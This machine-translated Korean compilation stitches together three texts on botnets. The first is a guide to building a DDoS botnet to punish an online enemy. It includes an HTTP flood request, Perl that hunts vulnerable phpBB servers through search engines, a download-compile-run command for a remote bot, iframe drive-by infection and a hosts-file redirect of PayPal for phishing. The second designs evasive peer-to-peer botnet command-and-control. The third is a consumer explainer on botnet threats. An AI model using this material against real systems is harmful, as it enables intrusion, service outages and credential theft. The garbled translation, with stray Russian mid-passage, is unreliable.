우리는 자체 전투 봇넷을 만들고 있습니다. 이상적인 봇넷은 어떤 모습이어야 합니까?

보안 시스템은 지속적으로 개선되고 있으며 프로그래머의 경험은 점점 더 많아지고 있습니다. 이제 잘 알려진 실수가 점점 줄어들고 있습니다.

[프롤로그]
인터넷은 엄청난 힘으로 성장하고 있습니다. 해커가 취약점을 찾는 것이 점점 더 어려워지고 있습니다. 관리자는 최고의 보안 전문가를 활용하여 제품을 보호합니다. 당신은 당신의 생각을 인식합니까? 사실 인터넷은 취약점으로 가득 차 있지만 거의 쓸모가 없습니다. 글쎄, 그것은 당신이 그것을 어떻게 보는지에 달려 있습니다. 이제 상황을 상상해보십시오. 어떤 온라인 놈이 당신을 괴롭혔고 당신은 그를 처벌하고 싶습니다. 오늘 우리는 자신만의 전투 봇넷을 만드는 방법에 대해 이야기하겠습니다.
그렇다면 "봇"이란 무엇입니까? 초심자에게 즉시 떠오르는 것은 컴퓨터 게임의 어리석은 상대이며 2분 안에 쏘는 것입니다. 예, 이는 부분적으로 사실입니다. 우리의 경우 "봇"은 로봇에 포함된 명령을 실행하는 프로그램입니다. 특별할 것 없는 것 같습니다. 누군가는 이렇게 반대할 것입니다. “내가 다섯 살 때 이 글을 썼는데, 버튼을 누르면 olla-la 프로그램이 종료됩니다.” 우리 모두는 코딩의 가능성이 무한하며 선과 악에 사용될 수 있다는 것을 알고 있습니다. 물론, 우리는 항상 좋은 의도를 가지고 개발을 사용합니다. "봇넷"은 소유자의 명령을 동시에 실행하는 봇 세트를 한 센터에 모은 것입니다. 그런데 봇은 주로 Windows 시스템을 목표로 합니다. 여기서는 비밀번호를 훔치고, sox를 ​​설치하고, 나사를 포맷할 수 있습니다. 규칙에서 벗어나 nix 머신에서 봇넷을 만드는 방법을 알려드리겠습니다. 우리 봇의 주요 기능은 DDOS 공격을 조직하는 것입니다. 이는 nix 서버의 광범위한 채널을 활용하는 이상적인 방법입니다. 수학을 해보자. "다운로드"해야 하는 서버는 100Mb 채널에 있습니다. 즉, 같은 채널에 10~20개의 봇이 서 있으면 순식간에 서버를 압도하게 됩니다. 한 서버에서 방화벽 뒤에 숨을 수 있다면 아쉽게도 더 많은 봇으로부터 벗어날 수 없습니다.

[봇 작성]
기사 끝에 있는 링크를 통해 예제 봇 목록을 찾을 수 있습니다. 코드를 조금 살펴보겠습니다. (어, Dream이 다시 IRC를 통해 모든 것을 제어하나요? WEB을 통해 더 멋져요!) 그런데 IRC를 통한 제어는 상호작용성 때문에 선택되었습니다. 로컬 핵 공격을 사용하여 봇넷에 있는 두 개의 서버를 공격하고 싶다고 가정해 보겠습니다. 봇을 사용하여 SH uname -a 명령을 실행하면 필요한 컴퓨터를 즉시 찾을 수 있습니다. 그런 다음 IRC 클라이언트에서도 명령을 실행하여 백도어를 다운로드하고 추가 작업을 위한 대화형 셸을 수신합니다. 가능성은 무한합니다. 그러한 제어는 웹을 통해 구현될 수 있다고 말할 것입니다. 그런데 왜 페이지를 다시 로드하고 트래픽을 낭비합니까? 모든 것을 실시간으로 관찰하는 것이 훨씬 더 편리합니다(비록 1000개가 넘는 봇으로 구성된 봇넷을 사용하면 인터페이스의 편리함을 처리할 수 있지만 상식적인 참고 사항입니다). 많은 사람들은 DDOS를 조직하는 것이 매우 어려운 문제라고 생각합니다. 다음은 일반적인 공격 코드의 예입니다.

GET /server.org HTTP/1.0\r\n연결: 연결 유지\r\n사용자 에이전트: Mozilla/4.75(X11; U; Windows 5.2 i686)\r\n호스트: server.org:80\r\n수락: 이미지/gif, 이미지/x-xbitmap, 이미지/jpeg, 이미지/pjpeg, 이미지/png, */*\r\nAccept-인코딩: gzip\r\nAccept-Language: en\r\nAccept-Charset: iso- 8859-1,*,utf-8\r\n\r\n

즉, 서버가 응답하도록 강제하는 요청을 서버에 보냅니다. 그리고 트래픽 부족이나 프로세서 시간 부족으로 인해 서버가 충돌할 때까지 보냅니다. 하지만 nix 봇에만 국한하시겠습니까? 예를 들어 AgoBot을 기반으로 하는 Windows 봇넷도 만들어야 합니다. 이를 위해 봇이 설치된 서버에 연결하는 시스템의 lsal/dcom 취약점을 검색하는 봇용 코드를 생성할 수 있습니다.

[봇넷 생성]
봇넷을 만드는 것은 실제로 매우 쉽습니다. 이를 위해서는 모든 웹 스크립트에서 취약점을 찾아야 합니다. 발견된 취약점은 쉘 인터프리터 명령 실행을 허용해야 합니다. 취약점을 발견하면 기본 파일 이름, 제목, 취약한 시스템 이름에 주의하세요. 이제 이 데이터를 사용하여 좋은 검색어를 만들어야 합니다. 예를 들어 phpBB의 잘 알려진 취약점을 살펴보겠습니다.<=2.0.10. Название файла - viewtopic.php, переменная указывающаю на значения топика форума - t. Значит поисковый запрос будет вида "Powered by phpBB AND viewtopic.php?t=". Чем разумнее и проще запрос ты составишь, тем больше уязвимых серверов попадутся тебе на удочку. В каждого поискового сервера язык запросов немного отличается, так что почитай его описание, перед тем как составлять запрос. Теперь нужно все это автоматизировать. Отправка запроса поисковику будем осуществлять примерно так на Perl:

$sock = IO::Socket::INET->new(PeerAddr=>"search.aol.com",PeerPort=>"80",P ro to=>"tcp") 또는 다음; $sock "GET /aolcom/search?q=viewtopic.php%3Ft%3D7&Stage=0&page=$n HTTP/1.0\n\n" 인쇄; @resu =<$sock>; 닫기($sock);

Wget http://server.org/bot.c;gcc bot.c -o bash;chmod +x bash;./bash;

여기서 한 번에 두 가지 문제를 볼 수 있습니다. wget 및 gcc를 사용할 수 없거나 사용이 금지될 수 있습니다. 여기에서는 fech, 컬 및 다운로드 받기 또는 Lynx 콘솔 브라우저가 도움이 되거나 ftp 프로토콜을 사용할 수 있습니다. 구현은 더 복잡하지만 ftp는 어디에나 있다는 장점이 있습니다. 컴파일러의 경우 간단히 셸에서 바이너리를 컴파일하고 모든 것이 호환성이 있기를 바라거나 봇을 해석된 언어로 다시 작성할 수 있습니다. - 펄이나 PHP. 각 방법에는 장점과 단점이 있으므로 어떤 방법을 사용할지는 본인의 선택에 따릅니다. 캡처된 서버를 최대한 활용하는 데 익숙합니다. 결국 nix 서버의 봇은 컴퓨터를 처음 재부팅할 때까지만 지속됩니다. 이 상황에서 흥미로운 방법이 하나 있습니다. 봇은 작성 가능한 해석 가능한 파일(.pl, .php)을 검색하고 해당 파일에 봇을 다운로드하고 실행하기 위한 코드를 추가합니다. 또는 다른 Windows 봇넷을 생성할 수 있습니다. 이는 구현하기도 쉽습니다. 여기에는 원하는 파일을 다운로드하고 실행하게 하는 인터넷 브라우저(Internet Explorer, Opera, Mozilla)의 취약점이 필요합니다. 다음으로 악성 코드를 로드하는 인프레임 레코드가 생성됩니다. 이 항목은 모든 색인 파일에 추가됩니다(또는 html 코드가 있는 모든 항목에 추가됩니다. 모두 귀하의 오만함에 따라 다릅니다). 아카이브에서도 찾을 수 있는 작은 스크립트 Haz는 이 작업을 완벽하게 수행합니다. 버그 트랙은 Internet Explorer의 심각한 취약점에 대한 기록으로 가득 차 있으므로 Windows 시스템의 봇넷도 우리가 통제할 수 있습니다(위에서 장점을 언급했습니다). 그게 전부입니다. 고속 셸에서 검색 웜을 실행하고, 커피(맥주, 보드카, 토마토 주스)를 마시고, 봇 속성에 지정된 IRC 채널로 이동하여 부하 직원 수를 관찰하세요. 끝으로, 저를 아시는 모든 분들께 인사드리며, 행운을 빕니다. 잡히지 마세요.
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXX

phpBB의 취약점은 버전 2.0.16까지 관련이 있지만 개발자들은 2.0.11에서 이 취약점을 수정했다고 주장합니다.

http://_exploits.ath.cx/exploits/data/bots/ http://_www.honeynet.org

피싱
봇을 피싱 조직으로 활용하는 것은 매우 편리합니다. 이를 위해서는 필요한 사이트와 우수한 호스팅, 전용 서버 또는 VDS를 에뮬레이트하는 피싱용으로 설계된 특수 페이지가 필요합니다. 이러한 페이지를 직접 만들거나 구매하거나 온라인에서 찾을 수 있습니다. 선택은 엄청납니다. 대부분의 경우 피싱은 e-gold.com, paypal.com, citybank.com, usbank.com, ebay.c om 및 기타 전자 상거래와 관련된 사이트에서 조직됩니다. 다음으로 Windows 봇은 서버의 IP 주소를 추가하고 필요한 사이트의 별칭을 할당하여 \system32\drivers\etc\hosts 파일을 다시 작성합니다. 파일 형식은 다음과 같습니다.

102.54.94.97 e-gold.com 102.54.94.97 paypal.com

즉, e-gold.com 및 paypal.com 사이트를 브라우저에 입력하면 사용자는 아무것도 의심하지 않고 우리 서버에 접속하게 됩니다. 그러면 피셔 서버에서는 해당 도메인에 대한 항목이 httpd.conf에 추가됩니다.

DocumentRoot "/home/e-gold.com/www" ServerName "www.e-gold.com" ServerAlias ​​​​"e-gold.com" "www.e-gold.com"

물론 브라우저 라인에는 친숙한 e-gold.com 주소가 포함되며 고급 사용자라도 아무것도 의심하지 않고 사이트에 로그인할 수 있습니다. 그림을 완성하기 위해 사용자가 프록시 서버를 사용하는 경우 이 방법은 작동하지 않는다고 말씀드리겠습니다.

모든 취향에 맞는 봇
Agobot/Phatbot/Forbot/XtremBot
이것은 최고의 봇 제품군입니다. C++로 작성되었습니다. 명확하게 정의된 모듈식 구조로 인해 많은 탐지 보호 기능과 500개 이상의 수정 기능이 있습니다.
SDBot/RBot/UrBot/UrXBot
현재 DDOS 공격을 수행하는 데 매우 인기가 있는 봇입니다. 여기에는 많은 추가 기능이 있습니다. Sock4 열기, 키로거, lsass 및 dcom 취약점에 대한 자동 스캐너 등이 있습니다. 또한 \system32\drivers\etc\hosts를 편집하고 포트 80에 작은 가짜 웹 서버를 설치하여 바이러스 백신 회사 사이트에 대한 요청을 로컬 서버로 리디렉션하는 기능도 있습니다.
DSNX 봇
이 봇은 DDOS 공격, 포트 검색 및 기타 작은 작업을 수행할 수 있습니다.
Q8 봇
nix 시스템을 위한 훌륭한 봇입니다. 컴팩트한 코드(27KB, 하나의 파일로 구성)와 우수한 기능성이 특징입니다. 새 파일을 다운로드하고 실행하여 동적으로 업데이트할 수 있습니다. 기본 DDOS 구현을 잘 구현합니다(SYN-flood, UDP-flood). 시스템 명령을 실행할 수 있습니다. 또한 시스템에서 잘 위장됩니다.
카이텐
또한 Unix/Linux 시스템을 위한 좋은 봇입니다. 캡처된 서버에서 원격 셸을 열 수 있습니다.
Perl 기반 봇
이들은 Perl로 작성된 매우 작은 봇입니다. Unix 기반 시스템에 대한 DDOS 공격에 사용됩니다.

---
기사에는 해킹에 대한 편견이 크므로 명확하지 않은 경우 질문하십시오.

내가 P2P 네트워크에 관한 내 노트 초안을 출판한 것은 아무것도 아닙니다. 독자님의 댓글이 큰 도움이 되었습니다. 그들은 제가 이 방향으로 더 많은 일을 하도록 영감을 주었습니다. 이것에서 나온 것-컷 아래를 살펴보십시오.

게시물 제목에서 알 수 있듯이 오늘은 봇넷에 대해서만 이야기하겠습니다. 파일 공유, 프록시 네트워크, P2P 블로그 및 P2P 통화에 대해서는 잠시 잊어버리세요.

“봇넷”이라는 단어를 불법적인 것으로 이해해서는 안 됩니다. 사용자가 과학 프로젝트의 필요에 따라 트래픽과 컴퓨팅 리소스를 기부하기 위해 자발적으로 "봇"을 다운로드하여 설치하는 경우에도 이 역시 봇넷입니다. 따라서 봇마스터가 반드시 범죄자인 것은 아닙니다. 과학 프로젝트에 참여하는 30명의 과학자 그룹도 "봇마스터"입니다.

1. 서버를 통한 봇넷 관리

봇을 관리하는 가장 쉬운 방법은 irc/http 서버를 실행하는 것입니다. 이를 통해 봇은 명령을 받고 도움을 받아 실행 결과를 보냅니다.

최선을 다해 그립니다 :) 이 경우에는 일러스트가 필요하지 않을 수도 있지만, 나머지 그림이 만들어 낼 충격에 대비하기로 결정했습니다.

  • 특히 IRC의 경우 구현이 매우 간단합니다.
  • 봇의 빠른 응답.
  • 전체 네트워크 또는 특정 봇에 명령을 내릴 수 있습니다.
  • 네트워크가 수백 개의 노드로 구성된 경우 DalNet의 하나의 채널로 이를 관리하기에 충분합니다. 대규모 네트워크의 경우 저렴한(약 300루블/월) 웹 호스팅을 이용할 수 있습니다.
  • HTTP의 경우- 서버는 아름다운 UI 개발을 크게 단순화합니다. 일부 웹 서비스에서 봇넷을 사용하는 경우 이는 중요합니다.
  • 서버 부하. 가장 큰 봇넷의 노드 수는 수백만 개로 측정됩니다. 이러한 군중을 관리하려면 서버 하나만으로는 충분하지 않습니다.
  • 서버에 문제가 발생하면(네트워크 장애, DDoS, 데이터센터 화재 등) 네트워크가 종료됩니다.
  • 하나의 서버는 방화벽이 쉽습니다. 이는 공급자와 사용자 컴퓨터의 Kaspersky Lab 제품 모두에서 수행할 수 있습니다.
  • 봇마스터는 비교적 쉽게 찾을 수 있습니다. VPN을 잊어버리면 유니폼을 입고 손님을 기다리세요.
  • IRC의 경우, 온라인 봇만 명령을 받습니다. 봇이 명령을 보낸 후 2분 후에 채널에 들어가면 "주제에서 벗어납니다".
  • 봇의 수와 해당 IP는 IRC 채널로 이동하여 확인할 수 있습니다. 비밀번호로 채널을 보호하는 것은 도움이 되지 않습니다. 왜냐하면 비밀번호는 봇의 코드에서 쉽게 알아낼 수 있기 때문입니다.

2. IRC 네트워크를 통한 제어

이전 방법의 단점을 해결하기 위한 논리적 단계는 서버를 하나가 아닌 여러 개 만드는 것입니다. 제 생각에는 이를 수행하는 가장 쉬운 방법은 IRC 네트워크를 높이는 것입니다. 이 경우 서버 간 데이터 전송에 대한 모든 책임은 IRC 프로토콜에 있습니다. 봇 측에서는 이전 솔루션과 비교하여 차이가 없습니다.

  • 구현은 간단하지만 서버 설정을 직접 조정해야 합니다.
  • 봇은 여전히 ​​명령에 빠르게 응답합니다.
  • 특정 봇에 계속 명령을 내릴 수 있습니다.
  • 서버 간 부하 분산, DDoS 및 불가항력으로부터 보호합니다. 12개의 좋은 서버는 백만 개의 봇 네트워크에 충분할 수 있습니다.
  • 일부 서버에 오류가 발생하면 교체할 시간을 가질 수 있습니다.
  • IRC를 사용하는 경우수천 개의 봇이 한 채널에 앉아 있어 혼란스러워서 여러 채널을 사용합니다. 따라서 네트워크의 서로 다른 부분에 서로 다른 작업을 부여할 수 있습니다.
  • 서버/VDS에 대해 더 많은 것을 포크해야 합니다.
  • 동시에 모든 서버에 방화벽을 설정할 수 있으며 봇마스터는 이를 교체할 시간이 없습니다.
  • 봇마스터는 여전히 추적하기 매우 쉽습니다.
  • IRC의 경우, 봇의 수와 해당 IP는 여전히 눈에 띕니다.
  • 방금 채널에 들어온 봇은 대상에 포함되지 않습니다.

나는 이전 게시물의 댓글에서 내 친구 Nickolas로부터 신뢰라는 용어를 처음 들었습니다. 우리는 봇넷의 일부에 "서버" 기능을 할당하는 것에 대해 이야기하고 있습니다.

  • 서버가 필요하지 않습니다.
  • 신뢰는 수백 개의 노드로 구성될 수 있습니다. 이렇게 많은 IRC/http 서버를 키우고 통제하는 것은 쉽지 않습니다.
  • 봇은 지속적으로 신뢰와 연결되어서는 안 됩니다. 새로운 명령이 나타나는지 확인하려면 5~10분에 한 번씩 확인하는 것으로 충분합니다. 각 명령에는 신뢰 상태로 저장되는 TTL이 있어야 합니다.
  • 다수의 "서버"는 모든 종류의 재해에 대한 네트워크의 복원력을 보장합니다. 링의 일부가 죽으면 봇마스터는 새로운 Trastring을 생성하라는 명령을 내릴 수 있습니다. 또는 링 노드 자체에서 이를 수행할 수도 있습니다(디지털 서명 및 일정 비율의 수탁자의 동의가 필요함).
  • 신뢰가 512개의 노드로 구성되어 있으며 최소 50%가 지속적으로 온라인 상태입니다. 네트워크에 1,000,000개의 봇이 있고 각 봇이 지속적으로 온라인 상태인 경우 신뢰하는 노드당 봇의 수는 4,000개 미만입니다. 봇이 10분마다 한 번씩 명령을 요청(또는 결과 전송)하면 각 링 노드는 평균 7개의 연결을 동시에 처리합니다. 이 정도 규모의 네트워크에서는 꽤 많은 양입니다. 그렇죠?
  • 봇마스터만이 모든 봇의 정확한 목록을 얻을 수 있습니다.
  • 특정 봇이나 봇 그룹에 명령을 내릴 수 있습니다.
  • 명령에 대한 봇의 빠른 응답.
  • Botmaster를 찾기가 어렵습니다.

내가 보는 유일한 부정적인 점은 구현이 복잡하다는 것입니다.

4. P2P 네트워크

인터넷 소식통에 따르면 현재 P2P 봇넷이 매우 인기가 높습니다. 이 소스 중에서 가장 주목할만한 소스입니다. 이러한 네트워크의 각 노드는 몇 개의 "이웃" 노드만 알고 있습니다. 봇마스터는 여러 네트워크 노드에 명령을 보낸 후 이웃에서 이웃으로 전송됩니다.

이웃 목록은 특수 서버에서 한 번 봇에게 제공됩니다. 예를 들어 해킹된 웹사이트일 수 있습니다. 서버는 다른 작업을 수행하지 않으며 봇넷에 노드를 추가할 때만 필요합니다.

  • 구현은 이전 단락보다 다소 간단합니다.
  • 모든 네트워크 노드의 최소 로드입니다. 봇넷의 크기는 사실상 무제한입니다.
  • DDoS, 노드 종료 등에 대한 저항력이 있습니다. p2p 봇넷을 방화벽으로 차단하는 것은 거의 불가능합니다.
  • IRC의 경우처럼 지속적인 연결이 없습니다.
  • 비록 짧은 시간이라도 서버가 필요합니다.
  • 노드는 때때로 죽으며 이는 네트워크 연결에 영향을 미칩니다.
  • 모든 봇 목록을 얻으려면 예를 들어 특정 사이트에 액세스하는 명령을 제공해야 합니다. 이 경우 봇마스터만 목록을 수신한다는 보장은 없습니다.
  • 특정 노드에 명령을 내리려면 명령을 전체 네트워크로 보내거나 노드에 직접 연결해야 합니다.
  • 명령에 대한 봇의 반응이 느립니다.
  • 예를 들어 URL 목록과 함께 "긴" 명령을 보내려면 타사 서버를 사용해야 합니다. 그렇지 않으면 봇의 응답이 훨씬 더 느려집니다.
  • 일종의 서버를 사용하기 때문에 이전 예보다 봇마스터를 찾는 것이 더 쉽습니다.

물론 제가 틀렸을 수도 있지만 제 생각에는 p2p 봇넷은 신뢰하는 것보다 훨씬 더 나쁩니다. 어쩌면 바이러스 백신 제조업체가 무언가를 조용히 유지하고 있을까요?

5. 완벽한 솔루션

새롭고 좋은 것을 발명하는 한 가지 방법은 오래된 것을 교배하는 것입니다. 우리는 전화기, 컴퓨터, 녹음기, 카메라, 비디오 카메라를 결합하여 스마트폰을 얻었습니다. 자동차의 컴퓨터와 실내 온도 조절기는 더 이상 누구에게도 놀라지 않을 것입니다. 요거트 하나하나에 자석을 냉장고에 붙이면 매출이 급상승합니다.

횡단에 실패하면 아무 쓸모도 없는 개인을 얻을 수 있다는 점을 기억하는 것이 중요합니다. 유전자 알고리즘이 생각나는군요, 그렇죠? 겉으로는 좋은 아이디어인 p2p 봇넷을 생각해 보겠습니다. 여기서 신뢰는 이웃 할당을 담당합니다. 그러면 서버가 필요하지 않습니다!

그러나 이 경우 구현의 복잡성이 약간은 증가할 것입니다. p2p 봇넷의 나머지 문제는 해결되지 않은 채로 남아 있습니다. 승리는 미미하고 점수는 1:1이다.

종이와 연필을 들고 잠시 앉아 있다가 다음과 같은 생각이 떠올랐습니다. 내가 아는 한, 그것은 이전에 발표된 적이 없으며, 그러한 아이디어를 생각해낸 최초의 사람입니다. ChSV 플러스 100.

네트워크에 "활성"과 "수동"이라는 두 가지 상태가 있으면 어떻게 될까요? 수동 상태에서 봇넷은 p2p 방식에 따라 작동합니다. 봇마스터가 "군대 동원" 명령을 보내면 네트워크는 신뢰로 변합니다. 명령에서 봇마스터는 신뢰하는 노드와 네트워크 상태가 변경되는 시간을 표시해야 합니다. 링을 더 크게 만들려면 여러 봇에게 이웃 이름을 지정하도록 명령할 수 있습니다. 또한 모든 명령은 신뢰를 통해 전송됩니다. 그는 또한 새 노드에 "이웃"을 할당하는 일도 담당합니다. 나중에 링의 TTL이 불충분한 것으로 판명되면 "활성 상태 확장" 명령을 내릴 수 있습니다.

이러한 봇넷은 p2p 네트워크의 어떤 단점도 상속하지 않으며 다음과 같은 신뢰의 모든 장점을 갖습니다.

  • P2P 네트워크와 같은 DDoS 공격 및 네트워크 필터에 대한 저항력이 향상되었습니다.
  • 네트워크 가동 중지 시간 동안 봇에 의한 리소스 소비가 최소화됩니다. 봇마스터는 신뢰 상태를 모니터링하고 이를 위해 새 노드를 선택할 필요가 없습니다.
  • 신뢰를 생성할 때 현재 온라인 상태인 노드만 선택됩니다. 봇은 첫 번째 시도에서 (잠시 동안) 링에 연결됩니다.
  • "이웃" 목록은 주기적으로 업데이트됩니다. 마찬가지로 전체 봇넷은 임시 링에 포함된 노드의 IP를 알고 있습니다. 따라서 실제 이웃 중 일부가 오랫동안 네트워크에 나타나지 않은 경우 이러한 노드를 이웃으로 간주하도록 하십시오.

여기서 제가 본 유일한 단점은 구현이 복잡하다는 것입니다. 그러나 이것은 실제로 문제가 되지 않습니다.

6. 기억할 점

지금까지 나는 몇 가지 사항에 대해 침묵을 지켰습니다. 그 이유는 이러한 사항이 봇넷을 관리하는 모든 명명된 방법에 내재되어 있기 때문입니다. 당신은 그들에게주의를 기울여야합니다.

  • 일부 노드는 방화벽이나 NAT로 인해 들어오는 연결을 수락할 수 없습니다. 봇을 작성할 때 최소한 이 점을 고려해야 합니다. 예를 들어, p2p 네트워크에서 명령을 배포할 때 봇 자체는 주기적으로 이웃과 연결해야 하며 이웃의 명령을 기다리지 않아야 합니다.
  • 네트워크로 전송된 모든 명령을 수신한다고 가정해야 합니다. 최소한 관심 있는 당사자는 이러한 목적을 위해 봇의 코드를 수정할 수 있습니다. 그러나 네트워크에서 전송되는 모든 트래픽을 암호화하는 것이 좋습니다. 최소한 이로 인해 봇넷 분석이 복잡해집니다.
  • 모든 botmaster 명령은 디지털 서명되어야 합니다. 비밀번호는 가로챌 수 있으므로 좋지 않습니다.
  • 구현에 관해 이야기하고 있으므로 모든 봇넷에는 봇 업데이트, 봇마스터 키 업데이트, 전체 네트워크 자체 파괴라는 세 가지 명령이 있어야 합니다.
  • 네트워크에는 "스파이" 노드가 있습니다. 그들 중 일부는 신뢰에 포함됩니다. 동시에, 우리는 이러한 "스파이"가 추구하는 목표를 알지 못합니다. 이는 봇마스터의 IP 식별, 명령 실행 중단, 네트워크 비활성화, 봇넷에 대한 제어권 확보 등이 될 수 있습니다. 특히 이는 봇이 링에 연결할 때 항상 동일한 노드를 사용하는 대신 임의의 노드를 선택해야 함을 의미합니다.
  • 그림에서는 트러스트링 노드가 서로 연결되어 있지만, 작은 p2p 네트워크 형태, 즉 "이웃" 원칙에 따라 링을 구현하는 것이 훨씬 더 실용적입니다.

또한 HTTP 프로토콜을 사용할 때 솔루션 1과 2(서버, 다수의 서버)가 많은 단점을 잃고 솔루션 3(trastring)에서 몇 가지 이점을 얻을 수 있다는 점에 유의하겠습니다. 이 점들을 다시 스크롤하여 내가 의미하는 바를 확인하십시오.

7. 결론

소규모 네트워크의 경우 좋은 솔루션은 IRC를 사용하는 것입니다. 예를 들어, 분산 컴퓨팅을 위한 자신만의 소규모 네트워크를 만들고 싶다면 집 컴퓨터, 노트북, 넷북, 직장 컴퓨터(회사 정책에서 허용하는 경우)에 봇을 설치하고 DalNet을 통해 네트워크를 관리하세요. 필요한 경우 나중에 네트워크를 신뢰하도록 "펌핑"할 수 있습니다. 적절한 명령을 내리시겠죠?

봇넷에 멋진 웹 인터페이스가 필요한 경우 웹 서버에서 명령을 받아 IRC로 보내는 추가 프로그램을 작성하는 것이 합리적일 수 있습니다. 최소한 이 접근 방식을 고려하십시오.

범용 솔루션은 신뢰와 p2p+trastring입니다. 이러한 네트워크는 서버 없이 노드 수(1개 또는 1,000,000개)에 관계없이 완벽하게 작동합니다.

링에 비해 순수 p2p의 명백한 단점으로 인해 이것이 왜 좋은 솔루션으로 간주되는지는 불분명합니다. 확실히 네트워크를 구성하는 봇에는 유용한 기능이 많이 있습니다. 또 다른 작은 페이로드(네트워크 동원)를 신뢰에 추가하는 것은 어떨까요?

아마 그게 전부일 것입니다. 나는 귀하의 의견을 보고 기뻐할 것입니다. 특히 비판의 경우 본문의 부정확성/모순을 지적하고 제기된 주제에 대한 귀하의 생각을 지적합니다.

오늘날 봇넷은 사이버 범죄자의 주요 도구 중 하나가 되었습니다. ComputerBild는 봇넷이 무엇인지, 어떻게 작동하는지, 컴퓨터가 좀비 네트워크에 빠지지 않도록 보호하는 방법을 알려줍니다.

봇넷 또는 좀비 네트워크는 공격자가 소유자 모르게 다른 사람의 컴퓨터를 원격으로 제어할 수 있도록 하는 맬웨어에 감염된 컴퓨터 네트워크입니다. 최근 몇 년 동안 좀비 네트워크는 사이버 범죄자들의 안정적인 수입원이 되었습니다. 지속적으로 낮은 비용과 봇넷 관리에 필요한 최소한의 지식은 인기 증가, 즉 봇넷 수 증가에 기여합니다. 공격자와 그 고객은 좀비 네트워크를 사용하여 수행되는 DDoS 공격이나 스팸 메일을 통해 수천 달러를 벌고 있습니다.

내 컴퓨터가 봇에 감염됐나요?

이 질문에 대답하는 것은 쉽지 않습니다. 사실 PC의 일상적인 작업에서 봇의 간섭은 시스템 성능에 어떤 방식으로도 영향을 미치지 않기 때문에 추적하는 것이 거의 불가능합니다. 그럼에도 불구하고 시스템에 봇이 있는지 확인할 수 있는 몇 가지 징후가 있습니다.

알 수 없는 프로그램이 인터넷에 연결을 시도하고 있는데 방화벽이나 바이러스 백신 소프트웨어에 의해 주기적으로 보고됩니다.

인터넷을 아주 드물게 사용하더라도 인터넷 트래픽이 매우 높아집니다.

실행 중인 시스템 프로세스 목록에 일반 Windows 프로세스로 가장하는 새로운 프로세스가 나타납니다. 예를 들어 봇의 이름은 scvhost.exe일 수 있습니다. 이 이름은 Windows 시스템 프로세스 svchost.exe의 이름과 매우 유사하므로 매우 어렵습니다. 차이점을 알아차리려면 가능하지만).

봇넷은 왜 생성됩니까?

봇넷은 돈을 벌기 위해 만들어졌습니다. 좀비 네트워크를 상업적으로 수익성 있게 사용할 수 있는 여러 영역이 있습니다: DDoS 공격, 기밀 정보 수집, 스팸 전송, 피싱, 스팸 검색, 부정 행위 클릭 카운터 등. 공격자가 선택하는 모든 방향이 수익성이 있다는 점에 유의해야 합니다. 봇넷을 사용하면 위의 모든 활동을 동시에 수행할 수 있습니다.

DDoS 공격(영어 Distributed Denial-of-Service에서 유래)은 컴퓨터 시스템(예: 웹 사이트)에 대한 공격으로, 그 목적은 시스템을 "충돌", 즉 시스템이 충돌할 수 있는 상태로 만드는 것입니다. 더 이상 합법적인 사용자의 요청을 수락하고 처리하지 않습니다. DDoS 공격을 수행하는 가장 일반적인 방법 중 하나는 피해자 컴퓨터나 웹사이트에 수많은 요청을 보내는 것입니다. 이는 공격받은 컴퓨터의 리소스가 들어오는 모든 요청을 처리하기에 부족할 경우 서비스 거부로 이어집니다. DDoS 공격은 해커에게 강력한 무기이며, 봇넷은 이를 수행하는 데 이상적인 도구입니다.

DDoS 공격은 불공정 경쟁의 수단이자 사이버 테러 행위가 될 수 있습니다. 봇넷 소유자는 너무 꼼꼼하지 않은 기업가에게 서비스를 제공할 수 있습니다. 즉, 경쟁사의 웹 사이트에서 DDoS 공격을 수행할 수 있습니다. 이러한 부하가 발생한 후에는 공격받은 리소스가 "다운"되고 공격자는 일시적인 이점을 얻게 되며 사이버 범죄자는 적당한(또는 그다지 많지 않은) 보상을 받게 됩니다.

마찬가지로 봇넷 소유자도 DDoS 공격을 이용해 대기업으로부터 돈을 갈취할 수 있습니다. 동시에 기업은 성공적인 DDoS 공격의 결과를 제거하는 데 매우 많은 비용이 들기 때문에 사이버 범죄자의 요구를 준수하는 것을 선호합니다. 예를 들어, 2009년 1월, 최대 규모의 호스팅 업체 중 하나인 GoDaddy.com은 DDoS 공격을 받았고 그 결과 해당 서버에서 호스팅되는 수천 개의 사이트를 거의 하루 동안 사용할 수 없게 되었습니다. 호스팅 업체의 재정적 손실은 엄청났습니다.

2007년 2월, 전체 인터넷의 정상적인 기능이 직접적으로 작동하는 루트 DNS 서버에서 일련의 공격이 수행되었습니다. 좀비 네트워크의 존재는 인터넷이 존재하고 정상적으로 작동하는 경우에만 가능하기 때문에 이러한 공격의 목적이 World Wide Web을 붕괴시키는 것이었을 가능성은 거의 없습니다. 무엇보다 좀비 네트워크의 위력과 능력을 보여주는 것 같았다.

DDoS 공격 서비스에 대한 광고는 여러 관련 포럼에 공개적으로 게시됩니다. DDoS 봇넷을 지속적으로 운영할 경우 공격 비용은 하루 50~수천 달러에 이릅니다. 웹사이트 www.shadowserver.org에 따르면, 2008년에 약 19만 건의 DDoS 공격이 발생했으며, 이를 통해 사이버 범죄자는 약 2천만 달러를 벌 수 있었습니다. 당연히 이 금액에는 협박으로 인한 수입이 포함되지 않으므로 계산이 불가능합니다.

기밀 정보 수집

사용자의 컴퓨터에 저장된 기밀 정보는 항상 공격자의 관심을 끌 것입니다. 가장 흥미로운 것은 신용 카드 번호, 금융 정보 및 다양한 서비스(사서함, FTP 서버, 인스턴트 메신저 등)에 대한 비밀번호입니다. 동시에 최신 악성 코드를 사용하면 공격자가 관심 있는 데이터를 정확하게 선택할 수 있습니다. PC 해당 모듈에 업로드하기만 하면 됩니다.

공격자는 훔친 정보를 팔거나 유리하게 사용할 수 있습니다. 인터넷의 수많은 포럼에는 매일 수백 개의 은행 계좌 판매 광고가 나타납니다. 계정 비용은 사용자 계정의 금액에 따라 다르며 계정당 $1에서 $1,500 사이입니다. 하한선은 경쟁 과정에서 이러한 유형의 사업에 종사하는 사이버 범죄자가 가격을 낮춰야 한다는 것을 나타냅니다. 실제로 많은 돈을 벌기 위해서는 새로운 데이터의 안정적인 유입이 필요하며, 이를 위해서는 좀비 네트워크의 안정적인 성장이 필요합니다. 금융 정보는 은행 카드 위조에 연루된 범죄자인 카드 발급자에게 특히 흥미로울 수 있습니다.

